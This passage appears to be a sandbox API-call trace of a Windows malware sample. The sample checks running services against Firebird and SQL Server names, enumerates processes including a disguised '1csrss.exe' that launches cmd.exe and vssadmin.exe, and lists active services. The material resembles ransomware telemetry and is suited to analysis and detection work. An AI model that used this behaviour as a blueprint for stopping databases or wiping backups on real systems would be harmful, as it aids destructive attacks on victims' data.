lpString2="ShellHWDetection") returned -1 [0283.901] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0283.901] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0283.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0283.902] lstrlenW (lpString="Spooler") returned 7 [0283.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0283.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0283.902] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0283.902] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0283.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0283.902] lstrlenW (lpString="SSDPSRV") returned 7 [0283.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0283.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0283.902] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0283.902] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0283.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0283.902] lstrlenW (lpString="StateRepository") returned 15 [0283.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0283.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0283.902] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0283.902] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0283.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0283.902] lstrlenW (lpString="SysMain") returned 7 [0283.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0283.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0283.902] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0283.902] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0283.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0283.902] lstrlenW (lpString="SystemEventsBroker") returned 18 [0283.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0283.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0283.902] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0283.902] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0283.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0283.903] lstrlenW (lpString="Themes") returned 6 [0283.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0283.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0283.903] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0283.903] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0283.903] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7d7988 | out: hHeap=0x6e0000) returned 1 [0283.903] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4a8 [0283.906] Process32FirstW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0283.907] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0283.907] lstrlenW (lpString="System") returned 6 [0283.907] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0283.908] lstrlenW (lpString="smss.exe") returned 8 [0283.908] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0283.909] lstrlenW (lpString="csrss.exe") returned 9 [0283.909] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0283.909] lstrlenW (lpString="wininit.exe") returned 11 [0283.909] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0283.910] lstrlenW (lpString="csrss.exe") returned 9 [0283.910] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0283.911] lstrlenW (lpString="winlogon.exe") returned 12 [0283.911] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0283.911] lstrlenW (lpString="services.exe") returned 12 [0283.911] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0283.912] lstrlenW (lpString="lsass.exe") returned 9 [0283.912] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0283.913] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0283.913] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0283.913] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0283.913] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.914] lstrlenW (lpString="svchost.exe") returned 11 [0283.914] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.915] lstrlenW (lpString="svchost.exe") returned 11 [0283.915] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0283.915] lstrlenW (lpString="dwm.exe") returned 7 [0283.915] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.916] lstrlenW (lpString="svchost.exe") returned 11 [0283.916] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.917] lstrlenW (lpString="svchost.exe") returned 11 [0283.917] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.917] lstrlenW (lpString="svchost.exe") returned 11 [0283.917] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.918] lstrlenW (lpString="svchost.exe") returned 11 [0283.918] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.919] lstrlenW (lpString="svchost.exe") returned 11 [0283.919] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.919] lstrlenW (lpString="svchost.exe") returned 11 [0283.919] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.920] lstrlenW (lpString="svchost.exe") returned 11 [0283.920] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.921] lstrlenW (lpString="svchost.exe") returned 11 [0283.921] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.921] lstrlenW (lpString="svchost.exe") returned 11 [0283.921] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.922] lstrlenW (lpString="svchost.exe") returned 11 [0283.922] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0283.923] lstrlenW (lpString="spoolsv.exe") returned 11 [0283.923] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0283.923] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0283.923] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0283.924] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0283.924] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0283.925] lstrlenW (lpString="Memory Compression") returned 18 [0283.925] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.925] lstrlenW (lpString="svchost.exe") returned 11 [0283.925] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0283.926] lstrlenW (lpString="audiodg.exe") returned 11 [0283.926] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0283.927] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0283.927] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0283.927] lstrlenW (lpString="sihost.exe") returned 10 [0283.927] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.928] lstrlenW (lpString="svchost.exe") returned 11 [0283.928] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0283.929] lstrlenW (lpString="taskhostw.exe") returned 13 [0283.929] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0283.929] lstrlenW (lpString="msoia.exe") returned 9 [0283.929] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0283.930] lstrlenW (lpString="explorer.exe") returned 12 [0283.930] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0283.931] lstrlenW (lpString="SearchUI.exe") returned 12 [0283.931] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0283.932] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0283.932] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0283.932] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0283.933] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0283.933] lstrlenW (lpString="1csrss.exe") returned 10 [0283.933] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.934] lstrlenW (lpString="svchost.exe") returned 11 [0283.934] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd88, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0283.935] lstrlenW (lpString="cmd.exe") returned 7 [0283.935] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0283.935] lstrlenW (lpString="conhost.exe") returned 11 [0283.935] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0283.936] lstrlenW (lpString="vssadmin.exe") returned 12 [0283.936] Process32NextW (in: hSnapshot=0x4a8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0284.846] CloseHandle (hObject=0x4a8) returned 1 [0284.846] Sleep (dwMilliseconds=0x1f4) [0285.355] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddb60 [0285.356] EnumServicesStatusExW (in: hSCManager=0x7ddb60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0285.356] GetLastError () returned 0xea [0285.356] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1d08) returned 0x4567fb0 [0285.356] EnumServicesStatusExW (in: hSCManager=0x7ddb60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4567fb0, cbBufSize=0x1d08, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4567fb0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0285.357] CloseServiceHandle (hSCObject=0x7ddb60) returned 1 [0285.357] lstrlenW (lpString="AppXSvc") returned 7 [0285.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0285.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0285.357] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0285.357] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0285.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0285.357] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0285.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0285.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0285.357] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0285.357] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0285.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0285.357] lstrlenW (lpString="Audiosrv") returned 8 [0285.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0285.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0285.357] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0285.357] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0285.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0285.357] lstrlenW (lpString="BFE") returned 3 [0285.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0285.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0285.357] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0285.357] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0285.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0285.358] lstrlenW (lpString="BITS") returned 4 [0285.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0285.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0285.358] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0285.358] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0285.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0285.358] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0285.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0285.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0285.358] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0285.358] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0285.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0285.358] lstrlenW (lpString="CDPSvc") returned 6 [0285.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0285.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0285.358] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0285.358] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0285.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0285.358] lstrlenW (lpString="ClickToRunSvc") returned 13 [0285.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0285.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0285.358] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0285.358] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0285.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0285.358] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0285.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0285.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0285.358] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0285.359] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0285.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0285.359] lstrlenW (lpString="CryptSvc") returned 8 [0285.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0285.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0285.359] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0285.359] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0285.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0285.359] lstrlenW (lpString="DcomLaunch") returned 10 [0285.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0285.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0285.359] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0285.359] lstrcmpiW (lpString1="mssqlserver", 